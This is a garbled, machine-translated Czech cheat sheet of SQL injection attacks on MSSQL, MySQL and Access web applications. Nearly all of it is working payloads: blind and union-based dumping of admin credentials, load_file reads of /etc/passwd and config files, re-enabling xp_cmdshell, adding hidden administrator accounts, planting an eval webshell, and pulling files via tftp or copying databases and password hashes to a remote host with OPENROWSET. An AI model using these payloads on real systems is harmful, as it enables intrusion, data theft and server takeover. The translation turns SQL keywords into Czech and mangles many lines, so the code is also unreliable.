MSSQL dotazy napříč databázemi (smradlavé jídlo!) Temnota)
Vyždímejte z MS SQL každou kapku
Reference SQL příkazů a objekty záznamové sady jsou podrobně vysvětleny
O uložených procedurách v SQL Serveru
Vytvořte webshell se zálohou mssql
SQL_Injection pokročilé aplikace
Cross-site SQL injection (laokai)
Weird SQL Injection (AMANL)
Pokročilá SQL injekce v aplikacích SQL Server
Jak používat SQL injection pro procházení adresářů
Průvodce technikami injekce SQL (překladatel: demonalex)
Některé útoky na SQL databáze
Technika útoku pomocí SQL injekce (JSW)
SQL_Injection Pokročilé aplikace (APACHY)
Neobvyklé metody SQL injekce (Guilin Veteran)
Zálohujte shell
Mluvme o php+mysql injection injection statement structure (Heyhehehehe·≯Super· Hei)
Pokročilá SQL injekce s MySQL (angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL manuální injekční encyklopedie
Předpoklady vyžadují nástroje: SQL Query Analyzer a SqlExec Sunx verze ============================================================================================== 1. Zjistit, zda existuje injekční bod ; a 1=1 a 1=2 2. Tipněte, že název tabulky není nic jiného než administrátor, administrátor, uživatel, heslo, uživatelský přístup, atd.: a 0<>(vyberte count(*) z *) a 0<>(vyberte count(*) z admin) — Zjistit, zda administrátorská tabulka existuje 3. Hádejte počet účtů Pokud narazíte na 0< vraťte se na správnou stránku 1< vraťte chybovou stránku, která označí, že počet účtů je 1 a 0<(vyberte count(*) z admin) a 1<(vyberte count(*) z admin) 4. Hádejte název pole. Přidejte název pole, který si představujeme, do závorek len( ). a 1=(vyberte count(*) z admin, kde len(*)>0)– a 1=(vyberte count(*) z admin, kde len(uživatelské jméno pole)>0) a 1=(vyberte count(*) z admin, kde len(_blank>název pole hesla)>0) 5. Hádejte délku každého pole Odhadněte délku pro transformaci >0, dokud se nevrátí správná stránka a 1=(vyberte count(*) z admin kde len(*)>0) a 1=(vyberte count(*) z admin kde len(name)>6) chyba a 1=(vyberte count(*) z admin kde len(name)>5) Správná délka je 6 a 1=(vyberte count(*) z admin, kde len(name)=6 je správný a 1=(vyberte count(*) z admin, kde je len(password)>11) správné a 1=(vyberte count(*) z admin, kde len(password)>12) chyba délka je 12 a 1=(vyberte count(*) z admin, kde len(password)=12 je správný 6. Hádejte postavy a 1=(vyberte count(*) z admin kde left(name,1)=a) — Uhodněte první číslici uživatelského účtu a 1=(vyberte count(*) z admin kde left(name,2)=ab)—Hádejte druhou číslici uživatelského účtu Stačí přidávat jeden znak najednou, hádat tolik číslic, kolik jste právě uhodli, a číslo účtu se objeví (1) Hádejte název stolu
Použité věty: a existuje (vyberte * z názvu tabulky)
Například: a existuje (vybrat * z admin)
Pokud stránka správně odpovídá, znamená to, že název tabulky, kterou jsme zde uhodli, je správný, a pokud je stránka špatná, znamená to, že název tabulky, který jsme zde napsali, je špatný
, poté změňte název tabulky a pokračujte v hádání, dokud neuhodnete.
Obecně běžně používané názvy tabulek zahrnují admin, manage, user nebo vložit to do běhu nástroje (2) Hádej pole
Použité věty: a existuje (vyberte název pole z názvu tabulky)
Například: a existuje (vyberte uživatelské jméno z admin)
Zde, za předpokladu, že administrátorská tabulka je ta, kterou jsem správně odhadl výše, chci zjistit, zda pole uživatelského jména existuje, musím použít toto tvrzení, pokud stránka
Pokud je echo obličeje správné, znamená to, že název pole, který jsme zde uhodli, je správný, a pokud je stránka špatná, znamená to, že název pole, který jsme zde napsali, je špatný
, poté změňte název pole a pokračujte v hádání, dokud neuhodnete.
Obecně běžné názvy polí zahrnují uživatelské jméno, heslo, uživatel, pass, jméno, pass, pwd, usr, psd a další pole (3) pořadí podle
order by je pro získání součtu počtu polí na dané stránce, čímž se připravuje na další společný dotaz (4) Union Select
1. Pokud podporujete společný dotaz, najděte zobrazovací bit http://www.xxx.com/product_show.asp?id=1 a 1=2 un select
1,2,3,4,5,6,7,8,9,10,11 Předpokládejme, že zobrazovací bity jsou 5,6. Dále stačí nahradit názvy polí odpovídající uživatelskému jménu a heslu správce pozicí zobrazovacího bitu zde
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 z admina našel pozadí přihlášení 2. Pokud není podporován společný dotaz Uživatelské jméno a heslo správce nelze získat bez společného dotazu – pomocí Ascii doslovného dekódování Dva Použijte pořadí podle k určení počtu bitů v tabulce, a pokud to nefunguje, použijte union select k jejich uspořádání jeden po druhém, zde předpokládáme 8 bitů Tři Použijte společný dotaz k určení zobrazovacích bitů Čtyři Použijte zobrazovací bit k nalezení názvu databáze, verze databáze, 5.0 nebo vyšší lze injektovat
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c, version()),8 Pět S názvem databáze můžete začít získávat schéma názvu tabulky = následované HEX hodnotou názvu databáze a uhodnout název tabulky
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8 +from+information_schema.columns+where+ table_schema=0x666C6965725F6462617365 Šest Analyzovaný název tabulky určuje HEX hodnotu administrátorova tabulky název = název tabulky a odhaduje pole v tabulce http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+column_name),8+ from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572 Sedm Po získání polí v administrátorské tabulce se podíváme na obsah polí http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+uživatelské jméno, 0x5f,userpwd),8+from+pub_webmaster Osm Nástroj skenuje pozadí: Po nalezení se přihlaste a nahrajte trojana, a pokud nenajdete robots.txt soubor, můžete k němu přistupovat Devět Pokud pozadí nenajdete, bude odhaleno heslo správce MYSQL http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user Deset Náhodně přistupujete k cestě a zpětná vazba je výchozí stránka 404 v IIS6, což uvádí, že webový server je: Windows+IIS6+php+MySql prostředí c:\\windows\\system32\\\inetsrv\\MetaBase.xml Tato cesta umožňuje získat informace o konfiguraci webu. Konstruktové výroky http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C 5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8 Jedenáct Analyzujte kód a najděte adresu na pozadí V prvním kroku musíme zjistit délku polí v tabulce Použité výroky: a (vyberte horní 1 len(název pole) z názvu tabulky)>0 Jako co: a (vyberte horní 1 len(admin_name) z administrace)>0 Stránka se zobrazuje normálně, délka pole admin_name je větší než 0 a předložím:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10 Stránka zobrazuje chybu, že pole je mezi 0 a 10 a délka je 5 podle dichotomie Použitím stejné metody pro určení délky pole pro administrátorovo heslo dostanu délku 16 Krok 2 Nyní přejdeme k druhému kroku, vezmeme určitý znak v poli a získáme ASCII kód znaku, který se používá
Prohlášení: a (vyberte top 1 asc(mid(field name, N,1)) z názvu tabulky)>0 Podívejme se na tuto větu zvlášť, nejprve na nejvnitřnější střední (uživatelské jméno, 1,1) funkci, což je první znak admin_name pole, N
označuje, že první znaky mají být zachyceny, Vnější funkce asc(), která převádí znaky zachycené střední funkcí do ASCII kódu, tedy nejvzdálenější horní jednička, reprezentuje návratové pole prvního místa
Takže deska, ">0" na konci slouží k porovnání převedeného ASCII kódu s tímto číslem a nakonec získání zachycení neustálou změnou poslední hodnoty
Zjistěte podrobnosti o této postavě ASCII kód Příspěvek:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30 Stránka se zobrazuje normálně, což naznačuje, že ASCII kód tohoto znaku je větší než 30. Příspěvek:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90 Stránka se zobrazuje normálně, což znamená, že ASCII kód tohoto znaku je větší než 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97 ASCII kód, který jsem pro tuto postavu nakonec vytvořil, je 97 Porovnejte tabulku ASCII: Lze usoudit, že první znak je "a". Pak posoudím ASCII kód druhého znaku.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90 Stránka se zobrazuje normálně, což znamená, že ASCII kód znaku je větší než 90, a poslední hodnota je vždy změněna Stejná metoda přinesla heslo administrátora a výsledek byl:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52 a 1=(vyberte top 1 count(*) z Admin, kde Asc(mid(pass,5,1))=51) – Tento dotaz může uhodnout čínského uživatele a _blank> heslo. Stačí nahradit následující čísla čínským kódem ASSIC
Převádět na znaky.
skupina users.id má 1=1–www.myhack58.com seskupit podle users.id, users.username, users.password, users.privs mají 1=1– ; Vložte do uživatelských hodnot (666, útočník, foobar 0xffff )–
UNION Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. SLOUPY Kde
TABLE_blank>_NAME=přihlásitelné- UNION Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. SLOUPY Kde
TABLE_blank>_NAME=přihlásitelný Kde COLUMN_blank>_NAME NE V (login_blank>_id)- UNION Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. SLOUPY Kde
TABLE_blank>_NAME=přihlásitelný Kde COLUMN_blank>_NAME NENÍ
(login_blank>_id,login_blank>_name)- UNION Vyberte TOP 1 login_blank>_name Z logintable- UNION Vyberte TOP 1 heslo Z přihlašovací tabule, kde login_blank>_name=Rahul– Podívejte se na patch, který přehrál _blank> server = špatná SP4 záplata černá záložní síť a 1=(vybrat @@VERSION)–
Podívejte se na oprávnění účtu připojení k databázi _blank> a vrátí se normální, což dokazuje, že jde o oprávnění správce systému pro roli _blank> serveru. a 1=(Vybrat IS_blank>_SRVROLEMEMBER(sysadmin))–
Zjistěte, zda _blank> databázový účet propojený. (Použijte SA účet pro připojení a vrácení normálně = prokázat, že připojený účet je SA) a sa=(Vybrat System_blank>_user)– a user_blank>_name()=dbo– a 0<>(vybrat user_blank>_name()–
Zkus xp_blank>_cmdshell smaže. a 1=(Vyberte count(*) FROM master.dbo.sysobjects kde xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell je smazán, obnoven a podporuje absolutní obnovu cesty ; VÝKONNÝ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll– ; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll– ============================== oprávnění databáze je vystaveno fyzickému kódu cesty webu
========================================================================== 1、tabule drop [jm_tmp]; Create Table [jm_tmp](value Navrchar(4000) null,data nvarchar(4000)
null) -- Vytvořit tabulku
2、 smazat [jm_tmp]; Vložte [jm_tmp] výkonný master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--
Vložte adresář webu do pole tabulky
3、a (vyberte top 1 cast([data] jako nvarchar(4000) char(124) z [jm_tmp] pořadí podle [data]
desc)=0 '///Expozice pole
4. Zrušte tabulku [jm_tmp] -- smažte tuto tabulku. aby velení získalo granát
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i >>d:\Jiné trasy stanice ======================load_file() Běžně používané citlivé informace =========================================== 1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、nahraď(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32)) Výše uvedené dvě jsou pro zobrazení PHP souboru, který plně zobrazuje kód. Někdy některé znaky nejsou nahrazeny, například "<" místo "space", které se vrátí
Webová stránka. A kód nelze zobrazit na obrazovce.
3. load_file(char(47)) může uvádět kořenový adresář systémů FreeBSD a Sunos
4. Zobrazit konfigurační soubor virtuálního hostitele linuxu APACHE v /etc/httpd/conf/httpd.conf nebo /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf nebo C:\apache\conf\httpd.conf pro zobrazení WINDOWS
System Apache soubor
6. c:/Resin-3.0.14/conf/resin.conf Zobrazit informace o konfiguraci souboru resin na webu vyvinutém jsp.
7. c:/resin/conf/resin.conf /usr/local/resin/conf/conf/pro zobrazení virtuálního hostitele JSP nakonfigurovaného na systému Linux
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml Zobrazit konfigurační soubor virtuálního hostitele IIS
12. /usr/local/resin-3.0.22/conf/resin.conf pro zobrazení konfiguračního souboru RESIN pro 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Stejné jako výše
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuální hostitel
15. /etc/sysconfig/iptables závisí na politice firewallu
16. /usr/local/app/php5 b/php.ini nastavení ekvivalentu PHP
17. /etc/my.cnf MYSQL konfigurační soubor
18. /etc/verze Red Hat pro systém vydání
19 、C:\mysql\data\mysql\user. MYD existuje v uživatelském hesle v systému MYSQL
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 pro zobrazení IP.
21. /usr/local/app/php5 b/php.ini /PHP nastavení
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuální nastavení webu
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue zobrazuje distribuční informace linuxového jádra
26、/etc/ftpuser
27. Zkontrolujte operační logový soubor pod LINUXem user.bash_history nebo .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log .. /apache/logs/error.log .. /apache/logs/access.log .. /.. /apache/logs/error.log .. /.. /apache/logs/access.log .. /.. /.. /apache/logs/error.log .. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log ======================================================== Experimentujte s reverzním PING sám ; používejte master; deklarujte @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ven; exec
sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –
Přidat si účet ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Vytvořte virtuální adresář E-disk: ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Přístupové atributy: (s psaním do webshellu) declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Speciální _blank> trik na burstování knihovny: :%5c=\ nebo upravit %5 s / a \ pro commit a 0<>(vyberte nejlepší 1 cesty z newtable)–
Získejte název databáze (od 1 do 5 jsou ID systému a můžete je hodnotit nad 6) a 1=(vyberte název z master.dbo.sysdatabases, kde dbid=7)– a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde jméno>1 a dbid=6) Odeslat dbid v pořadí = 7,8,9.... Získejte více _blank> názvů databází
a 0<>(vyberte první jméno z bbs.dbo.sysobjects, kde xtype=U) vtrhnou do tabulky za předpokladu administrátora a 0<>(vyberte první jméno z bbs.dbo.sysobjects, kde xtype=u a jméno není v (Admin)).
Jiné stoly. a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype=u a name=admin a uid>(str(id))) Číselná hodnota UID se předpokládá 18779569 uid=id a 0<>(vyberte první jméno z bbs.dbo.syscolumns, kde id=18779569) získá pole admin, false
Nastaveno na user_blank>_id a 0<>(vyberte první jméno z bbs.dbo.syscolumns, kde id=18779569 a jméno není v (id,...)) odhalit další pole a 0<(vyberte user_blank>_id z BBS.dbo.admin kde uživatelské jméno>1) získáte uživatelské jméno Na oplátku můžete získat _blank> heslo。。。。。 Představte si, že existují pole jako user_blank>_id uživatelské jméno, heslo atd
a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde jméno>1 a dbid=6) a 0<>(vyberte top 1 jméno z bbs.dbo.sysobjects, kde xtype=U) pro získání názvu tabulky a 0<>(vyberte top 1 jméno z bbs.dbo.sysobjects, kde xtype=u a jméno není v (Address)) a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype=u a name=admin a uid>(str(id)))
Určte hodnotu id a 0<>(vyberte první jméno z BBS.dbo.syscolumns, kde id=773577794) všechna pole
?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* z admin ?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 z admina (Union,Access je také snadno použitelný)
Získejte cestu WEB ; Vytvořte tabulku [dbo]. [výměna] ([swappass][char](255)); – a (vyberte top 1 swappass ze swapu)=1– ; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
Mistře.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTÉM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, hodnoty=@test
OUTPUT vložit do paths(paths) values(@test)– ; Použijte ku1; – ; Create table cmd (str image); – Vytvořit tabulkový cmd typu obrazu 1. Způsob, jak odstranit proces rozšíření xp_cmdshell, je použít následující tvrzení:
pokud existuje (vyberte * z dbo.sysobjects kde id=object_id(N'[dbo].[ xpcmdshell]') a
OBJECTPROPERTY(id,N'IsExtendedProc')=1) exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. Způsob, jak přidat xp_cmdshell proces rozšíření, je použít následující tvrzení:
(1) SQL analyzátor dotazů
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) Nejprve vyplňte %s v možnosti Formát ve verzi SqlExec Sunx a zadejte je do možnosti CMD
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
odstranit
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' Existuje xp_blank>_cmdshell testovacích procesů: ; Výkonný mistr.. xp_blank>_cmdshell dir ; Výkonný master.dbo.sp_blank>_addlogin Jiaoniang$; – Přidat SQL účty ; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; – ; exec master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sysadmin; – ; exec master.dbo.xp_blank>_cmdshell uživatel sítě jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;– ; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; – Výkonný mistr.. xp_blank>_servicecontrol start, plán _blank> zahájení služby Výkonný mistr.. xp_blank>_servicecontrol start, servere ; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; Výkonný mistr.. xp_blank>_cmdshell tftp -i youip get file.exe – nahrávání souborů pomocí TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ; vyhlásit @a; množina @a=db_blank>_name(); zálohovací databáze @a na disk=vaše IP Váš sdílený adresář bak.dat Pokud je omezený, ano. select * from openrowset(_blank>sqloledb,server; SA; ,Vyberte OK! exec
master.dbo.sp_blank>_addlogin hax)
Struktura dotazu: Vyberte * Ze zpráv Kde id=... A téma=... A ..... adminand 1=(vyberte count(*) z [user] kde username=victim a right(left(userpass,01),1)=1)
a uživatelský průchod <> vyberte 123; – ; používejte master; – :a nebo jméno jako fff%; – Zobrazuje uživatele jménem ffff. a 1<>(vyberte count(email) z [uživatel]); – ; aktualizace [uživatelé] nastavte email=(vyberte první jméno ze sysobjects, kde xtype=you a status>0) kde
jméno=ffff; – ; aktualizace [Users] nastavte email=(vyberte horní 1 ID ze sysobjects, kde xtype=you a jméno=ad) kde
jméno=ffff; – ; Aktualizace [Users] Nastavte email=(Vyberte první jméno ze sysobjects, kde xtype=you a id>581577110)
kde jméno=ffff; – ; aktualizace [uživatelé] nastavte email=(vyberte horní 1 count(id) z hesla), kde jméno=ffff; – ; aktualizace [uživatelé] nastavte email=(vyberte top 1 pwd z hesla, kde id=2) kde jméno=ffff; – ; aktualizace [uživatelé] nastavte email=(vyberte první jméno z hesla, kde id=2) kde jméno=ffff; – Výše uvedené tvrzení je získat první uživatelskou tabulku v databázi _blank> a zadat název tabulky do e-mailového pole uživatele ffff. Prohlížením uživatelského profilu ffff můžete získat první tabulku nazvanou AD Pak získejte ID této tabulky podle názvu tabulky a reklamy, abyste získali název druhé tabulky
vložit do uživatelů hodnoty(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)– Vložte do uživatelských hodnot (667,123,123,0xffff)– vložit do uživatelských hodnot (123, admin–, heslo, 0xffff)– ; a uživatel>0 ; a (vyberte count(*) ze sysobjects)>0 ; a (vyberte count(*) z mysysobjects)>0 // pro databázi access_blank>
Vyjmenujte název datové tabulky ; Aktualizovat AAA nastavte aaa=(vyberte první jméno ze sysobjectů, kde xtype=u a status>0); – Zde se název první tabulky aktualizuje na pole AAA. Přečtěte si první tabulku a druhou tabulku lze číst takto (přidejte a pojmenujte za podmínku<> název tabulky, kterou jste právě získali). ; Aktualizace AAA nastavte aaa=(vyberte horní 1 jméno ze sysobjectů, kde xtype=u a status>0 a
jméno<>hlasování); – Pak id=1552 a existuje (vyberte * z aaa, kde aaa>5) Přečtěte druhou tabulku a čtěte ji jednu po druhé, dokud nezůstane žádná. Pole čtení vypadá takto: ; aktualizovat aaa set aaa=(vyberte top 1 col_blank>_name(object_blank>_id(název tabulky),1)); – Pak id=152 a existuje (vyberte * z aaa, kde aaa>5) dostane chybu a získá název pole ; aktualizovat aaa set aaa=(vybrat top 1 col_blank>_name(object_blank>_id(název tabulky),2)); – Pak id=152 a existuje (vyberte * z aaa, kde aaa>5) dostane chybu a získá název pole
[Získejte název datové tabulky] [Aktualizujte hodnotu pole na název tabulky a poté přečtěte hodnotu tohoto pole, abyste získali název tabulky] Aktualizovat pole Název tabulky Set =(vyberte první jméno ze sysObjects, kde xtype=u a status>0 [ a jméno<>
Název tabulky, který dostanete, Najdi jeden plus jedna]) [kde podmínka] Vyberte nejvyšší jméno 1 ze sysobjectů, kde xtype=u a
Stav>0 a jméno není v (table1,table2,...) Vytvoření účtu správce databáze a správce systému _blank> _blank> injekce zranitelností přes SQLSERVER [Aktuální účet musí být skupina SYSADMIN]
[Získejte název pole Datatable] [Aktualizujte hodnotu pole na název pole a poté přečtěte hodnotu tohoto pole, abyste získali název pole] Aktualizovat pole Název tabulky Set =(vyberte horní 1 col_blank>_name(object_blank>_id (název datové tabulky pro dotaz), sloupec pole
Například: 1) [ kde podmínka]
Obcházení detekce IDS [pomocí proměnných] ; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
1. Otevřete vzdálenou databázi _blank> Základní syntaxe select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrat * z tabulky1 ) Parametry: (1) Název poskytovatele OLEDB 2. Parametr spojovacího řetězce může být jakýkoli port pro připojení, například select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,
Vyberte * ze stolu 3. Zkopírovat celou _blank> databázi cílového hostitele a vložit všechny vzdálené tabulky do lokální tabulky.
Základní syntaxe: insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrat * z tabulky1) vybrat
* z tabulky2 Tento řádek zkopíruje všechna data z tabulky table2 na cílovém hostiteli do tabulky table1 v databázi vzdálené _blank>. Vhodné opravy v praktickém použití
Změňte IP adresu a port spojovacího řetězce tak, aby ukazoval tam, kam ho potřebujete, například: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z tabulky1) Vyberte * z tabulky2 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z _blank>_sysdatabases) Vyberte * z master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z _blank>_sysobjects) Vyberte * z user_blank>_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z _blank>_syscolumns) Vyberte * z user_blank>_database.dbo.syscolumns Replikujte _blank> databázi: insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z tabulky 1) Vyberte * z databáze.. Tabulka1 insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select
* z tabulky 2) vyberte * z databáze.. Tabulka2
Hash hesla, které kopíruje přihlašovací _blank> hashovací tabulku (HASH), je uložen v sysxlogins. Zde je návod, jak na to: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,vyberte * z _blank>_sysxlogins)
Vyberte * z database.dbo.sysxlogins Jakmile hash získáte, můžete ho použít hrubou silou.
Pro procházení adresářem: Nejprve vytvořte dočasnou tabulku: temp ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; vložte dočasný výkonný master.dbo.xp_blank>_availablemedia; – Získejte všechny aktuální disky ; vložte do temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Získejte seznam podadresářů ; vložte do temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Získejte strukturu adresářového stromu pro všechny podadresáře,
